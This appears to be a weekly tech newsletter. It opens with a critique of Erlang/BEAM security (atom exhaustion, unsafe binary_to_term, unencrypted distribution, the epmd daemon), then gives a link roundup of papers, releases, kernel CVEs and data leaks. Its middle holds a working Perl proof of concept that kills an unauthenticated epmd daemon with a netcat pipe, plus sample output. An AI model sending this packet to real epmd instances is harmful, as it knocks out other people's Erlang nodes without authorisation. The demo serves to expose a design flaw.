It's always a bit funny to see the BEAM community being impacted by atom exhaustion issues, a problem that could have been solved for many years now. One of the first paper offering a solution to this problem was "Atom garbage collection" published in 2005 by Thomas Lindgren. More recently, another paper has been published on this topic, "Mechanised Proofs of Atom Exhaustion in Erlang" by Arsenii Fomin, Péter Bereczky, Dániel Horpácsi and Gergő Lajos Turán.

The recently announced CVEs about atom exhaustion are all due to the now famous culprits binary_to_term/1 and binary_to_term/2 functions. Those functions are unsafe by design and should never been used in production environment, at all. Even more if these functions are used on untrusted and unsanitized data. Erlang Term Format is really neat serialization format though, and using it can save you time and cost, but why not using another high-level tool to filter what one really need?

In fact, few years ago, I worked on berty to show how filter the correct terms from the bad ones. It was mostly a PoC (but it is working pretty well), and one idea was also to design a kind ETF schema to validate untrusted data. It will not fix atom exhaustion, a problem directly related to the BEAM itself, but will ensure the binary_to_term/1 and binary_to_term/2 functions are not creating unnecessary and dangerous terms. Anyway, here a non-exhaustive list of vulnerabilities published only between 24th and 25th November:

I was unable to find a publication by Joe. If I remember correctly, one of these huge missing features was an Erlang-like "firewall" able to filter nodes connections but also the data coming in and out of the VM. In fact, it makes a lot of sense. The distributed protocol is currently using a simple cookie, by default, the connections are not encrypted, and the message can pass easily between the nodes without real production. The epmd daemon, in charge of registering a node, is also using an unencrypted and mostly unauthenticated protocol. This is the reason why epmd must be protected and listen (if possible) on a trusted network.

To me, Erlang is still one of the best language created, with a huge amount of tools, but its environment was never really tested by real hackers. The amount of security issues reported recently on many Erlang/Elixir projects is the proof something must be done on this part of the ecosystem. Yes, Erlang, Elixir and other languages running on the BEAM are high-level languages, but it does not mean they are secure. The JVM is also another virtual machine used for Java, but it has its lot of problems as well. I predict the BEAM will have the same issues very soon, why? Because it is becoming a mainstream technology, used by more and more companies. What does it means? Be careful and be ready to upgrade your application/release. Do we have solutions? Yes, indeed! A lot of them, but it is time consuming and will be expensive, here few ideas:

  • atom exhaustion can be fixed, few publications have been published to explain how to solve this issue. It will be a trade-off, but this problem should have been solved 20 years ago;

  • distributed Erlang requires more security. Even if the connections can be encrypted (it was added on R20 or R21 IIRC), it is not the default configuration, and it can also be a bit complicated. Why not reusing something like the Noise protocol, the one which inspired wireguard? Each nodes have their own pair of keys, each trusted ones are exchanging them and create an encrypted, transparent connections;

  • epmd is also another issue. This daemon is currently a piece of C code, that should probably be ported to Erlang. In fact, few implementation of it in Erlang can be found on Github. the epmd protocol is not secure, no authentication and use clear-text connection. When started manually, it listens by default on all interfaces, not only on the loopback one. Fun fact, anyone can kill the epmd daemon by sending a simple command without any authentication if no nodes are connected.

$ cat >> epmd_kill.pl << EOF #!/usr/bin/env perl use strict; use warnings; sub epmd_command { my $command = shift; my $size = length $command; return pack("na*", $size, $command); } sub epmd_kill { my $params = shift || {}; my $command = 107; return pack("C", $command); } print(epmd_command(epmd_kill())); EOF $ epmd -d epmd: Thu Nov 26 13:02:55 2026: epmd running - daemon = 0 
$ perl epmd_kill.pl | nc localhost 4369 OK 
$ epmd -d epmd: Thu Nov 26 13:02:55 2026: epmd running - daemon = 0 epmd: Thu Nov 26 13:13:48 2026: epmd killed epmd: Thu Nov 26 13:13:48 2026: got KILL_REQ - terminates normal 

To finish this small note about Erlang security, hex.pm has been hacked, due to a pretty old vulnerabilities. To be clear, Erlang/Elixir developers have a huge feeling of safety because these languages were not mainstream. This is not the case anymore. Expect more security issues during the coming weeks/months/years. The same story happened for many other languages, or systems (e.g. SCADA).

The current era is really full of shit, and it is kinda complicated to find a ounce of motivation in this context. What was the goal of the technology? Fixing our problems, making our life easier and improve what we can improve or... just another attempt to control all of us? During the first years of internet, its main goal was to share information with scientists and academicians; sharing knowledge without the limits imposed by administrative borders; giving knowledge to all without restriction. It's beautiful on the paper, but in really, it was quickly parasitized by the usual culprits: marketing and sellers.

Coding

📝 Learning LLVM (Part-1) - Writing a simple LLVM pass: a tutorial to write LLVM pass, an LLVM component used to transform and analyze intermediate representation.

📑 SafeJIT: A Speculating JIT Engine Verified Down to the Machine Code: SafeJIT, a small JavaScript engine with a speculating JIT compiler, and a machine checked proof in Lean 4 that its compiled RISC-V (RV64) and x86-64 executable.

📑 Base32 for Humans: This document details the formal specification of Base32 for Humans; an alternate Base32 alphabet which extends the "Handled by Humans" text found in Section 3.4 of RFC 4648.

🎧 From One LED to 10,000 Devices

Wax: A User-Friendly Syntax for WebAssembly

System

📝 P6 Micro-Ops: Decode, Flags, Control Flow, and Macro Aliasing: a very long and detailed post on Intel P6 microarchitecture. Quite complex though, I only read half of the post.

📑 Benchmarking Linux CGroup and Schedule Idle: a publication about cgroup benchmarking.

📑 A code-level survey of CPU scheduling mechanisms in open-source embedded hypervisors

📑 Bring Cloud-Native Networking to FreeBSD Jails: Porting Calico from Linux

OS108: a fast, open and Secure Desktop Operating System built on top of NetBSD.

Database

📝 The Postgres Mistakes We All Still Make

🏗️ pgjumbo

🏗️ pg_fastload: Multi-process parallel bulk loader for PostgreSQL. It adds a "single reader, many parsers" pipeline next to the single-process one: reading the input file and turning records into tuples is spread across several PostgreSQL background workers, while the insert stage stays in one process and one transaction.

🏗️ pg_cve: a lightweight tool designed to provide an immediate overview of CVEs (Common Vulnerabilities and Exposures) and the stability of PostgreSQL releases.

Network

📝 Getting old Java phones online again

🌐 two way radio forum

Security

📝 Brake Check: Hijacking Trailer Brakes Over Bluetooth

Security/Cryptography

📑 A New Cryptanalytic Attack on an RSA Variant Arising from Cubic Pell Curves

📑 A Collision for 38-Step SHA-256

📑 Intergalactic Consensus: Asynchronous Bitcoin Clients

📑 Concrete Quantum Circuit Implementations and Resource Estimates for the Quantum 3 and 4-Sieves

📑 How to Hash and Commit Real Values with Dynamic Precision

📑 A Full-Lifecycle Privacy-Preserving Scheme for Client Selection via Fully Homomorphic Encryption

📑 A Deterministic Subexponential-time Algorithm for the Discrete Logarithm Problem

Embedded

🌐 FPGA finder: search and compare FPGAs by specs

📝 Splitting USB-C: USB 3 and USB 2 on One Port

🌐 Wafer.space: budget silicon manufacturing, design to manufactured silicon is a collaborative process.

Update/Upgrade

🔄 PostgreSQL 19 Released!: the full release note is already available. This new release is containing a lot of improvement, new features and bug fixes, a bit too much to list them all here.

🔄 nginx 1.31.10: mostly security patches (CVE-2026-132779).

🔄 hackney 4.12.4: bug fix release.

🔄 OTP 28.5.0.9: bug and security fix release. Lot of CVEs, few of them have been listed at the beginning of this post.

🔄 nova framework 0.18.7: feature release (added cowboy-like event support).

🔄 flutter 3.50.1

🔄 RabbitMQ 4.4.1: bug fixes release.

Vulnerabilities of the week

🚩 Linux kernel out-of-bounds write in NFSD SEQUENCE reply handling

🚩 Linux kernel buffer overflow in SMB2_tcon() of SMB client

🚩 Linux kernel use-after-free in lockd blocked lock retries

🚩 Linux kernel use-after-free crash from overlayfs lookup race

🚩 Linux kernel use-after-free in overlayfs readdir

🚩 Linux TCPanic/NoisyTCP CVE-2026-99288: a japanese company found the same bug than NoisyTCP, being able to crash a Linux system remotely using a TCP connection.

Leaks of the week

📝 Clevermate

📝 GoTronic

📝 Robot Advance

🐦 Staples Canada

📝 Smith & Wesson

📝 Voyages Rive Gauche

📝 Delubac & cie

Misc

🌐 Who runs Elixir in production.

🌐 351 companies run on Elixir.

🏗️ VP ≠ VNP over every field

▶️ ALL MODES DM32 RADIO MOD C4FM DSTAR P25 NXDN M17 ETC: tutorial/poc video explaining how to use all modes on the baofeng dm-32uv with custom firmware.

▶️ How To Prepare For An Event Storming Workshop

Cover Image by Kate Shashina on Unsplash